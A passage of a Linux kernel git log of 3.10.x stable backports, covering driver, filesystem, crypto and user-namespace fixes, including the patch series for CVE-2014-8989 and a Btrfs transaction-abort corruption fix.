problems that have been encountered to date: - AGP aperture BAR of AMD-7xx host bridges: if the AGP window is disabled, this BAR is read-only and read as 0x00000008 [1] - BARs 0-4 of ALi IDE controllers can be non-zero and read-only [1] - Intel Sandy Bridge - Thermal Management Controller [8086:0103]; BAR 0 returning 0xfed98004 [2] - Intel Xeon E5 v3/Core i7 Power Control Unit [8086:2fc0]; Bar 0 returning 0x00001a [3] Link: [1] https://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/drivers/pci/probe.c?id=1307ef6621991f1c4bc3cec1b5a4ebd6fd3d66b9 ("PCI: probing read-only BARs" (pre-git)) Link: [2] https://bugzilla.kernel.org/show_bug.cgi?id=43331 Link: [3] https://bugzilla.kernel.org/show_bug.cgi?id=85991 Reported-by: William Unruh Reported-by: Martin Lucina Signed-off-by: Myron Stowe Signed-off-by: Bjorn Helgaas CC: Matthew Wilcox Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cce08055ec16e61d45452f364613052b7237e95 Author: Andrew Jackson Date: Fri Dec 19 16:18:05 2014 +0000 ASoC: dwc: Ensure FIFOs are flushed to prevent channel swap commit 3475c3d034d7f276a474c8bd53f44b48c8bf669d upstream. Flush the FIFOs when the stream is prepared for use. This avoids an inadvertent swapping of the left/right channels if the FIFOs are not empty at startup. Signed-off-by: Andrew Jackson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c59b32dd148e32e7c6bb6002902b011b6ff4a3f3 Author: Jarkko Nikula Date: Mon Nov 24 15:32:36 2014 +0200 ASoC: max98090: Fix ill-defined sidetone route commit 48826ee590da03e9882922edf96d8d27bdfe9552 upstream. Commit 5fe5b767dc6f ("ASoC: dapm: Do not pretend to support controls for non mixer/mux widgets") revealed ill-defined control in a route between "STENL Mux" and DACs in max98090.c: max98090 i2c-193C9890:00: Control not supported for path STENL Mux -> [NULL] -> DACL max98090 i2c-193C9890:00: ASoC: no dapm match for STENL Mux --> NULL --> DACL max98090 i2c-193C9890:00: ASoC: Failed to add route STENL Mux -> NULL -> DACL max98090 i2c-193C9890:00: Control not supported for path STENL Mux -> [NULL] -> DACR max98090 i2c-193C9890:00: ASoC: no dapm match for STENL Mux --> NULL --> DACR max98090 i2c-193C9890:00: ASoC: Failed to add route STENL Mux -> NULL -> DACR Since there is no control between "STENL Mux" and DACs the control name must be NULL not "NULL". Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0905766a89b0ff65541335450b9449c4cd9270e9 Author: Lars-Peter Clausen Date: Wed Nov 19 18:29:02 2014 +0100 ASoC: sigmadsp: Refuse to load firmware files with a non-supported version commit 50c0f21b42dd4cd02b51f82274f66912d9a7fa32 upstream. Make sure to check the version field of the firmware header to make sure to not accidentally try to parse a firmware file with a different layout. Trying to do so can result in loading invalid firmware code to the device. Signed-off-by: Lars-Peter Clausen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92af539c4977839ad5d51ec605872fd6a887a259 Author: Felix Fietkau Date: Sun Nov 30 21:52:57 2014 +0100 ath5k: fix hardware queue index assignment commit 9e4982f6a51a2442f1bb588fee42521b44b4531c upstream. Like with ath9k, ath5k queues also need to be ordered by priority. queue_info->tqi_subtype already contains the correct index, so use it instead of relying on the order of ath5k_hw_setup_tx_queue calls. Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01980ddb21ed2e7d5eac8c26e2cd2112ca8c25f3 Author: Stefano Stabellini Date: Fri Nov 21 16:56:12 2014 +0000 swiotlb-xen: pass dev_addr to swiotlb_tbl_unmap_single commit 2c3fc8d26dd09b9d7069687eead849ee81c78e46 upstream. Need to pass the pointer within the swiotlb internal buffer to the swiotlb library, that in the case of xen_unmap_single is dev_addr, not paddr. Signed-off-by: Stefano Stabellini Acked-by: Konrad Rzeszutek Wilk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb53d66f454ffeb984f8dc9ae1e1b39cadb3b85a Author: Stephane Grosjean Date: Fri Nov 28 14:08:48 2014 +0100 can: peak_usb: fix memset() usage commit dc50ddcd4c58a5a0226038307d6ef884bec9f8c2 upstream. This patchs fixes a misplaced call to memset() that fills the request buffer with 0. The problem was with sending PCAN_USBPRO_REQ_FCT requests, the content set by the caller was thus lost. With this patch, the memory area is zeroed only when requesting info from the device. Signed-off-by: Stephane Grosjean Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fea8d0cd5fa74e98a085d34d34980b6d8edc1c1 Author: Stephane Grosjean Date: Fri Nov 28 13:49:10 2014 +0100 can: peak_usb: fix cleanup sequence order in case of error during init commit af35d0f1cce7a990286e2b94c260a2c2d2a0e4b0 upstream. This patch sets the correct reverse sequence order to the instructions set to run, when any failure occurs during the initialization steps. It also adds the missing unregistration call of the can device if the failure appears after having been registered. Signed-off-by: Stephane Grosjean Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad8f5c0620835617ae19f37c9e2868c45e28843c Author: Felix Fietkau Date: Sun Nov 30 20:38:41 2014 +0100 ath9k: fix BE/BK queue order commit 78063d81d353e10cbdd279c490593113b8fdae1c upstream. Hardware queues are ordered by priority. Use queue index 0 for BK, which has lower priority than BE. Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 783664910846f6cd2e4f48e330abf33cf9870ab5 Author: Felix Fietkau Date: Sun Nov 30 20:38:40 2014 +0100 ath9k_hw: fix hardware queue allocation commit ad8fdccf9c197a89e2d2fa78c453283dcc2c343f upstream. The driver passes the desired hardware queue index for a WMM data queue in qinfo->tqi_subtype. This was ignored in ath9k_hw_setuptxqueue, which instead relied on the order in which the function is called. Reported-by: Hubert Feurstein Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a14c22e265105e6245ebd66fe759454f49e82f3 Author: Junxiao Bi Date: Thu Dec 18 16:17:37 2014 -0800 ocfs2: fix journal commit deadlock commit 136f49b9171074872f2a14ad0ab10486d1ba13ca upstream. For buffer write, page lock will be got in write_begin and released in write_end, in ocfs2_write_end_nolock(), before it unlock the page in ocfs2_free_write_ctxt(), it calls ocfs2_run_deallocs(), this will ask for the read lock of journal->j_trans_barrier. Holding page lock and ask for journal->j_trans_barrier breaks the locking order. This will cause a deadlock with journal commit threads, ocfs2cmt will get write lock of journal->j_trans_barrier first, then it wakes up kjournald2 to do the commit work, at last it waits until done. To commit journal, kjournald2 needs flushing data first, it needs get the cache page lock. Since some ocfs2 cluster locks are holding by write process, this deadlock may hung the whole cluster. unlock pages before ocfs2_run_deallocs() can fix the locking order, also put unlock before ocfs2_commit_trans() to make page lock is unlocked before j_trans_barrier to preserve unlocking order. Signed-off-by: Junxiao Bi Reviewed-by: Wengang Wang Reviewed-by: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0ca171fac84b25f2c64036efb64e4ce060a471d Author: Greg Kroah-Hartman Date: Thu Jan 8 09:58:30 2015 -0800 Linux 3.10.64 Signed-off-by: Pranav Vashi commit 834753c8732afea32c01aa87fc587ead68f78750 Author: Filipe Manana Date: Sun Dec 7 21:31:47 2014 +0000 Btrfs: fix fs corruption on transaction abort if device supports discard commit 678886bdc6378c1cbd5072da2c5a3035000214e3 upstream. When we abort a transaction we iterate over all the ranges marked as dirty in fs_info->freed_extents[0] and fs_info->freed_extents[1], clear them from those trees, add them back (unpin) to the free space caches and, if the fs was mounted with "-o discard", perform a discard on those regions. Also, after adding the regions to the free space caches, a fitrim ioctl call can see those ranges in a block group's free space cache and perform a discard on the ranges, so the same issue can happen without "-o discard" as well. This causes corruption, affecting one or multiple btree nodes (in the worst case leaving the fs unmountable) because some of those ranges (the ones in the fs_info->pinned_extents tree) correspond to btree nodes/leafs that are referred by the last committed super block - breaking the rule that anything that was committed by a transaction is untouched until the next transaction commits successfully. I ran into this while running in a loop (for several hours) the fstest that I recently submitted: [PATCH] fstests: add btrfs test to stress chunk allocation/removal and fstrim The corruption always happened when a transaction aborted and then fsck complained like this: _check_btrfs_filesystem: filesystem on /dev/sdc is inconsistent *** fsck.btrfs output *** Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 read block failed check_tree_block Couldn't open file system In this case 94945280 corresponded to the root of a tree. Using frace what I observed was the following sequence of steps happened: 1) transaction N started, fs_info->pinned_extents pointed to fs_info->freed_extents[0]; 2) node/eb 94945280 is created; 3) eb is persisted to disk; 4) transaction N commit starts, fs_info->pinned_extents now points to fs_info->freed_extents[1], and transaction N completes; 5) transaction N + 1 starts; 6) eb is COWed, and btrfs_free_tree_block() called for this eb; 7) eb range (94945280 to 94945280 + 16Kb) is added to fs_info->pinned_extents (fs_info->freed_extents[1]); 8) Something goes wrong in transaction N + 1, like hitting ENOSPC for example, and the transaction is aborted, turning the fs into readonly mode. The stack trace I got for example: [112065.253935] [] dump_stack+0x4d/0x66 [112065.254271] [] warn_slowpath_common+0x7f/0x98 [112065.254567] [] ? __btrfs_abort_transaction+0x50/0x10b [btrfs] [112065.261674] [] warn_slowpath_fmt+0x48/0x50 [112065.261922] [] ? btrfs_free_path+0x26/0x29 [btrfs] [112065.262211] [] __btrfs_abort_transaction+0x50/0x10b [btrfs] [112065.262545] [] btrfs_remove_chunk+0x537/0x58b [btrfs] [112065.262771] [] btrfs_delete_unused_bgs+0x1de/0x21b [btrfs] [112065.263105] [] cleaner_kthread+0x100/0x12f [btrfs] (...) [112065.264493] ---[ end trace dd7903a975a31a08 ]--- [112065.264673] BTRFS: error (device sdc) in btrfs_remove_chunk:2625: errno=-28 No space left [112065.264997] BTRFS info (device sdc): forced readonly 9) The clear kthread sees that the BTRFS_FS_STATE_ERROR bit is set in fs_info->fs_state and calls btrfs_cleanup_transaction(), which in turn calls btrfs_destroy_pinned_extent(); 10) Then btrfs_destroy_pinned_extent() iterates over all the ranges marked as dirty in fs_info->freed_extents[], and for each one it calls discard, if the fs was mounted with "-o discard", and adds the range to the free space cache of the respective block group; 11) btrfs_trim_block_group(), invoked from the fitrim ioctl code path, sees the free space entries and performs a discard; 12) After an umount and mount (or fsck), our eb's location on disk was full of zeroes, and it should have been untouched, because it was marked as dirty in the fs_info->pinned_extents tree, and therefore used by the trees that the last committed superblock points to. Fix this by not performing a discard and not adding the ranges to the free space caches - it's useless from this point since the fs is now in readonly mode and we won't write free space caches to disk anymore (otherwise we would leak space) nor any new superblock. By not adding the ranges to the free space caches, it prevents other code paths from allocating that space and write to it as well, therefore being safer and simpler. This isn't a new problem, as it's been present since 2011 (git commit acce952b0263825da32cf10489413dec78053347). Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 931f6b5645279682093f61fa817be2752c35f8c7 Author: Josef Bacik Date: Fri Nov 14 16:16:30 2014 -0500 Btrfs: do not move em to modified list when unpinning commit a28046956c71985046474283fa3bcd256915fb72 upstream. We use the modified list to keep track of which extents have been modified so we know which ones are candidates for logging at fsync() time. Newly modified extents are added to the list at modification time, around the same time the ordered extent is created. We do this so that we don't have to wait for ordered extents to complete before we know what we need to log. The problem is when something like this happens log extent 0-4k on inode 1 copy csum for 0-4k from ordered extent into log sync log commit transaction log some other extent on inode 1 ordered extent for 0-4k completes and adds itself onto modified list again log changed extents see ordered extent for 0-4k has already been logged at this point we assume the csum has been copied sync log crash On replay we will see the extent 0-4k in the log, drop the original 0-4k extent which is the same one that we are replaying which also drops the csum, and then we won't find the csum in the log for that bytenr. This of course causes us to have errors about not having csums for certain ranges of our inode. So remove the modified list manipulation in unpin_extent_cache, any modified extents should have been added well before now, and we don't want them re-logged. This fixes my test that I could reliably reproduce this problem with. Thanks, Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1618f4ff6dea225cc613f6bdf30be068bdc7d938 Author: Tyler Hicks Date: Tue Oct 7 15:51:55 2014 -0500 eCryptfs: Force RO mount when encrypted view is enabled commit 332b122d39c9cbff8b799007a825d94b2e7c12f2 upstream. The ecryptfs_encrypted_view mount option greatly changes the functionality of an eCryptfs mount. Instead of encrypting and decrypting lower files, it provides a unified view of the encrypted files in the lower filesystem. The presence of the ecryptfs_encrypted_view mount option is intended to force a read-only mount and modifying files is not supported when the feature is in use. See the following commit for more information: e77a56d [PATCH] eCryptfs: Encrypted passthrough This patch forces the mount to be read-only when the ecryptfs_encrypted_view mount option is specified by setting the MS_RDONLY flag on the superblock. Additionally, this patch removes some broken logic in ecryptfs_open() that attempted to prevent modifications of files when the encrypted view feature was in use. The check in ecryptfs_open() was not sufficient to prevent file modifications using system calls that do not operate on a file descriptor. Signed-off-by: Tyler Hicks Reported-by: Priya Bansal Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7f987f088e3e8ff09b27f1dca9102dececd07eb Author: Jan Kara Date: Fri Dec 19 12:21:47 2014 +0100 udf: Verify symlink size before loading it commit a1d47b262952a45aae62bd49cfaf33dd76c11a2c upstream. UDF specification allows arbitrarily large symlinks. However we support only symlinks at most one block large. Check the length of the symlink so that we don't access memory beyond end of the symlink block. Reported-by: Carl Henrik Lunde Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2d7bc6aa7c4560f48b0ccb949e358d19798945f Author: Oleg Nesterov Date: Wed Dec 10 15:55:25 2014 -0800 exit: pidns: alloc_pid() leaks pid_namespace if child_reaper is exiting commit 24c037ebf5723d4d9ab0996433cee4f96c292a4d upstream. alloc_pid() does get_pid_ns() beforehand but forgets to put_pid_ns() if it fails because disable_pid_allocation() was called by the exiting child_reaper. We could simply move get_pid_ns() down to successful return, but this fix tries to be as trivial as possible. Signed-off-by: Oleg Nesterov Reviewed-by: "Eric W. Biederman" Cc: Aaron Tomlin Cc: Pavel Emelyanov Cc: Serge Hallyn Cc: Sterling Alexander Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ddf56ac8828d0f6611421e30ecd43233c22bad3 Author: Jan Kara Date: Wed Dec 10 15:52:22 2014 -0800 ncpfs: return proper error from NCP_IOC_SETROOT ioctl commit a682e9c28cac152e6e54c39efcf046e0c8cfcf63 upstream. If some error happens in NCP_IOC_SETROOT ioctl, the appropriate error return value is then (in most cases) just overwritten before we return. This can result in reporting success to userspace although error happened. This bug was introduced by commit 2e54eb96e2c8 ("BKL: Remove BKL from ncpfs"). Propagate the errors correctly. Coverity id: 1226925. Fixes: 2e54eb96e2c80 ("BKL: Remove BKL from ncpfs") Signed-off-by: Jan Kara Cc: Petr Vandrovec Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2102d1a92ca33e2d26d2c34cb51a517e0f3170f8 Author: Rabin Vincent Date: Fri Dec 19 13:36:08 2014 +0100 crypto: af_alg - fix backlog handling commit 7e77bdebff5cb1e9876c561f69710b9ab8fa1f7e upstream. If a request is backlogged, it's complete() handler will get called twice: once with -EINPROGRESS, and once with the final error code. af_alg's complete handler, unlike other users, does not handle the -EINPROGRESS but instead always completes the completion that recvmsg() is waiting on. This can lead to a return to user space while the request is still pending in the driver. If userspace closes the sockets before the requests are handled by the driver, this will lead to use-after-frees (and potential crashes) in the kernel due to the tfm having been freed. The crashes can be easily reproduced (for example) by reducing the max queue length in cryptod.c and running the following (from http://www.chronox.de/libkcapi.html) on AES-NI capable hardware: $ while true; do kcapi -x 1 -e -c '__ecb-aes-aesni' \ -k 00000000000000000000000000000000 \ -p 00000000000000000000000000000000 >/dev/null & done Signed-off-by: Rabin Vincent Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70282bb927a0e8fb41ee18bbf1fa9948c7b10c7f Author: Eric W. Biederman Date: Tue Dec 2 13:56:30 2014 -0600 userns: Unbreak the unprivileged remount tests commit db86da7cb76f797a1a8b445166a15cb922c6ff85 upstream. A security fix in caused the way the unprivileged remount tests were using user namespaces to break. Tweak the way user namespaces are being used so the test works again. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d043645f72d62d128c1440977abb6ae5ef4468fb Author: Eric W. Biederman Date: Fri Dec 5 19:36:04 2014 -0600 userns: Allow setting gid_maps without privilege when setgroups is disabled commit 66d2f338ee4c449396b6f99f5e75cd18eb6df272 upstream. Now that setgroups can be disabled and not reenabled, setting gid_map without privielge can now be enabled when setgroups is disabled. This restores most of the functionality that was lost when unprivileged setting of gid_map was removed. Applications that use this functionality will need to check to see if they use setgroups or init_groups, and if they don't they can be fixed by simply disabling setgroups before writing to gid_map. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52e20d24bddb144c6ab7348b35916442be302f63 Author: Eric W. Biederman Date: Tue Dec 2 12:27:26 2014 -0600 userns: Add a knob to disable setgroups on a per user namespace basis commit 9cc46516ddf497ea16e8d7cb986ae03a0f6b92f8 upstream. - Expose the knob to user space through a proc file /proc//setgroups A value of "deny" means the setgroups system call is disabled in the current processes user namespace and can not be enabled in the future in this user namespace. A value of "allow" means the segtoups system call is enabled. - Descendant user namespaces inherit the value of setgroups from their parents. - A proc file is used (instead of a sysctl) as sysctls currently do not allow checking the permissions at open time. - Writing to the proc file is restricted to before the gid_map for the user namespace is set. This ensures that disabling setgroups at a user namespace level will never remove the ability to call setgroups from a process that already has that ability. A process may opt in to the setgroups disable for itself by creating, entering and configuring a user namespace or by calling setns on an existing user namespace with setgroups disabled. Processes without privileges already can not call setgroups so this is a noop. Prodcess with privilege become processes without privilege when entering a user namespace and as with any other path to dropping privilege they would not have the ability to call setgroups. So this remains within the bounds of what is possible without a knob to disable setgroups permanently in a user namespace. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe117733b8ede031df50d3fb07c4afb8aeb3f789 Author: Eric W. Biederman Date: Tue Dec 9 14:03:14 2014 -0600 userns: Rename id_map_mutex to userns_state_mutex commit f0d62aec931e4ae3333c797d346dc4f188f454ba upstream. Generalize id_map_mutex so it can be used for more state of a user namespace. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5bffd39bfd72e8c5dbde0cd67aebb6235505f11 Author: Eric W. Biederman Date: Wed Nov 26 23:22:14 2014 -0600 userns: Only allow the creator of the userns unprivileged mappings commit f95d7918bd1e724675de4940039f2865e5eec5fe upstream. If you did not create the user namespace and are allowed to write to uid_map or gid_map you should already have the necessary privilege in the parent user namespace to establish any mapping you want so this will not affect userspace in practice. Limiting unprivileged uid mapping establishment to the creator of the user namespace makes it easier to verify all credentials obtained with the uid mapping can be obtained without the uid mapping without privilege. Limiting unprivileged gid mapping establishment (which is temporarily absent) to the creator of the user namespace also ensures that the combination of uid and gid can already be obtained without privilege. This is part of the fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55d812abd806fb24939a837beec199e69b121108 Author: Eric W. Biederman Date: Fri Dec 5 18:26:30 2014 -0600 userns: Check euid no fsuid when establishing an unprivileged uid mapping commit 80dd00a23784b384ccea049bfb3f259d3f973b9d upstream. setresuid allows the euid to be set to any of uid, euid, suid, and fsuid. Therefor it is safe to allow an unprivileged user to map their euid and use CAP_SETUID privileged with exactly that uid, as no new credentials can be obtained. I can not find a combination of existing system calls that allows setting uid, euid, suid, and fsuid from the fsuid making the previous use of fsuid for allowing unprivileged mappings a bug. This is part of a fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f6ee1da9ca696a1024db771d84c2e0f35d4301e Author: Eric W. Biederman Date: Fri Dec 5 18:14:19 2014 -0600 userns: Don't allow unprivileged creation of gid mappings commit be7c6dba2332cef0677fbabb606e279ae76652c3 upstream. As any gid mapping will allow and must allow for backwards compatibility dropping groups don't allow any gid mappings to be established without CAP_SETGID in the parent user namespace. For a small class of applications this change breaks userspace and removes useful functionality. This small class of applications includes tools/testing/selftests/mount/unprivilged-remount-test.c Most of the removed functionality will be added back with the addition of a one way knob to disable setgroups. Once setgroups is disabled setting the gid_map becomes as safe as setting the uid_map. For more common applications that set the uid_map and the gid_map with privilege this change will have no affect. This is part of a fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 877b69b791120af0c01a8fc3373310902f4a3531 Author: Eric W. Biederman Date: Fri Dec 5 18:01:11 2014 -0600 userns: Don't allow setgroups until a gid mapping has been setablished commit 273d2c67c3e179adb1e74f403d1e9a06e3f841b5 upstream. setgroups is unique in not needing a valid mapping before it can be called, in the case of setgroups(0, NULL) which drops all supplemental groups. The design of the user namespace assumes that CAP_SETGID can not actually be used until a gid mapping is established. Therefore add a helper function to see if the user namespace gid mapping has been established and call that function in the setgroups permission check. This is part of the fix for CVE-2014-8989, being able to drop groups without privilege using user namespaces. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e25b6c85b94bbd7e5894055b59797c2e53ae7a24 Author: Eric W. Biederman Date: Fri Dec 5 17:51:47 2014 -0600 userns: Document what the invariant required for safe unprivileged mappings. commit 0542f17bf2c1f2430d368f44c8fcf2f82ec9e53e upstream. The rule is simple. Don't allow anything that wouldn't be allowed without unprivileged mappings. It was previously overlooked that establishing gid mappings would allow dropping groups and potentially gaining permission to files and directories that had lesser permissions for a specific group than for all other users. This is the rule needed to fix CVE-2014-8989 and prevent any other security issues with new_idmap_permitted. The reason for this rule is that the unix permission model is old and there are programs out there somewhere that take advantage of every little corner of it. So allowing a uid or gid mapping to be established without privielge that would allow anything that would not be allowed without that mapping will result in expectations from some code somewhere being violated. Violated expectations about the behavior of the OS is a long way to say a security issue. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a9bb0a1b0caf4659f22a064ea44ce773c2ec42b Author: Eric W. Biederman Date: Fri Dec 5 17:19:27 2014 -0600 groups: Consolidate the setgroups permission checks commit 7ff4d90b4c24a03666f296c3d4878cd39001e81e upstream. Today there are 3 instances of setgroups and due to an oversight their permission checking has diverged. Add a common function so that they may all share the same permission checking code. This corrects the current oversight in the current permission checks and adds a helper to avoid this in the future. A user namespace security fix will update this new helper, shortly. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8890645444488030c9a633468138ffa7bd0c54e5 Author: Eric W. Biederman Date: Sat Oct 4 14:44:03 2014 -0700 umount: Disallow unprivileged mount force commit b2f5d4dc38e034eecb7987e513255265ff9aa1cf upstream. Forced unmount affects not just the mount namespace but the underlying superblock as well. Restrict forced unmount to the global root user for now. Otherwise it becomes possible a user in a less privileged mount namespace to force the shutdown of a superblock of a filesystem in a more privileged mount namespace, allowing a DOS attack on root. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c3a5356e2584dce811b25002e74ee7d316e17af Author: Eric W. Biederman Date: Fri Aug 22 16:39:03 2014 -0500 mnt: Update unprivileged remount test commit 4a44a19b470a886997d6647a77bb3e38dcbfa8c5 upstream. - MNT_NODEV should be irrelevant except when reading back mount flags, no longer specify MNT_NODEV on remount. - Test MNT_NODEV on devpts where it is meaningful even for unprivileged mounts. - Add a test to verify that remount of a prexisting mount with the same flags is allowed and does not change those flags. - Cleanup up the definitions of MS_REC, MS_RELATIME, MS_STRICTATIME that are used when the code is built in an environment without them. - Correct the test error messages when tests fail. There were not 5 tests that tested MS_RELATIME. Signed-off-by: Eric W. Biederman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35d388551575edddec692c124b3bccfa7ab78576 Author: Eric W. Biederman Date: Wed Aug 13 01:33:38 2014 -0700 mnt: Implicitly add MNT_NODEV on remount when it was implicitly added by mount commit 3e1866410f11356a9fd869beb3e95983dc79c067 upstream. Now that remount is properly enforcing the rule that you can't remove nodev at least sandstorm.io is breaking when performing a remount. It turns out that there is an easy intuitive solution implicitly add nodev on remount when nodev was implicitly added on mount. Tested-by: Cedric Bosdonnat Tested-by: Richard Weinberger Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5bcb06718492961cd795703777e4819b4b9d3785 Author: Johannes Berg Date: Wed Dec 17 13:55:49 2014 +0100 mac80211: free management frame keys when removing station commit 28a9bc68124c319b2b3dc861e80828a8865fd1ba upstream. When writing the code to allow per-station GTKs, I neglected to take into account the management frame keys (index 4 and 5) when freeing the station and only added code to free the first four data frame keys. Fix this by iterating the array of keys over the right length. Fixes: e31b82136d1a ("cfg80211/mac80211: allow per-station GTKs") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48a9e5e343ef03b77cf7f4827afe0196fe2a5013 Author: Andreas Müller Date: Fri Dec 12 12:11:11 2014 +0100 mac80211: fix multicast LED blinking and counter commit d025933e29872cb1fe19fc54d80e4dfa4ee5779c upstream. As multicast-frames can't be fragmented, "dot11MulticastReceivedFrameCount" stopped being incremented after the use-after-free fix. Furthermore, the RX-LED will be triggered by every multicast frame (which wouldn't happen before) which wouldn't allow the LED to rest at all. Fixes https://bugzilla.kernel.org/show_bug.cgi?id=89431 which also had the patch. Fixes: b8fff407a180 ("mac80211: fix use-after-free in defragmentation") Signed-off-by: Andreas Müller [rewrite commit message] Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d6fa968230a40fc19dfeb56087ab2a8ea4c4e67 Author: Takashi Iwai Date: Thu Dec 4 18:25:19 2014 +0100 KEYS: Fix stale key registration at error path commit b26bdde5bb27f3f900e25a95e33a0c476c8c2c48 upstream. When loading encrypted-keys module, if the last check of aes_get_sizes() in init_encrypted() fails, the driver just returns an error without unregistering its key type. This results in the stale entry in the list. In addition to memory leaks, this leads to a kernel crash when registering a new key type later. This patch fixes the problem by swapping the calls of aes_get_sizes() and register_key_type(), and releasing resources properly at the error paths. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=908163 Signed-off-by: Takashi Iwai Signed-off-by: Mimi Zohar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e695e71b369c327d21b749c9e2455eaae08d709 Author: Jan Kara Date: Thu Dec 18 17:26:10 2014 +0100 isofs: Fix unchecked printing of ER records commit 4e2024624e678f0ebb916e6192bd23c1f9fdf696 upstream. We didn't check length of rock ridge ER records before printing them. Thus corrupted isofs image can cause us to access and print some memory behind the buffer with obvious consequences. Reported-and-tested-by: Carl Henrik Lunde Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1d07dbf3a2d7b5e9a4794c40f98ba5f2fd5dd9b Author: Andy Lutomirski Date: Wed Dec 17 14:48:30 2014 -0800 x86/tls: Don't validate lm in set_thread_area() after all commit 3fb2f4237bb452eb4e98f6a5dbd5a445b4fed9d0 upstream. It turns out that there's a lurking ABI issue. GCC, when compiling this in a 32-bit program: struct user_desc desc = { .entry_number = idx, .base_addr = base, .limit = 0xfffff, .seg_32bit = 1, .contents = 0, /* Data, grow-up */ .read_exec_only = 0, .limit_in_pages = 1, .seg_not_present = 0, .useable = 0, }; will leave .lm uninitialized. This means that anything in the kernel that reads user_desc.lm for 32-bit tasks is unreliable. Revert the .lm check in set_thread_area(). The value never did anything in the first place. Fixes: 0e58af4e1d21 ("x86/tls: Disallow unusual TLS segments") Signed-off-by: Andy Lutomirski Acked-by: Thomas Gleixner Cc: Linus Torvalds Link: http://lkml.kernel.org/r/d7875b60e28c512f6a6fc0baf5714d58e7eaadbb.1418856405.git.luto@amacapital.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b22087a3e8dee3dadfef4dd313b094582211b852 Author: Dan Carpenter Date: Sat Nov 29 15:50:21 2014 +0300 dm space map metadata: fix sm_bootstrap_get_nr_blocks() commit c1c6156fe4d4577444b769d7edd5dd503e57bbc9 upstream. This function isn't right and it causes a static checker warning: drivers/md/dm-thin.c:3016 maybe_resize_data_dev() error: potentially using uninitialized 'sb_data_size'. It should set "*count" and return zero on success the same as the sm_metadata_get_nr_blocks() function does earlier. Fixes: 3241b1d3e0aa ('dm: add persistent data library') Signed-off-by: Dan Carpenter Acked-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6293d1837a8e3b30afe43af6f189a24873089bf0 Author: Darrick J. Wong Date: 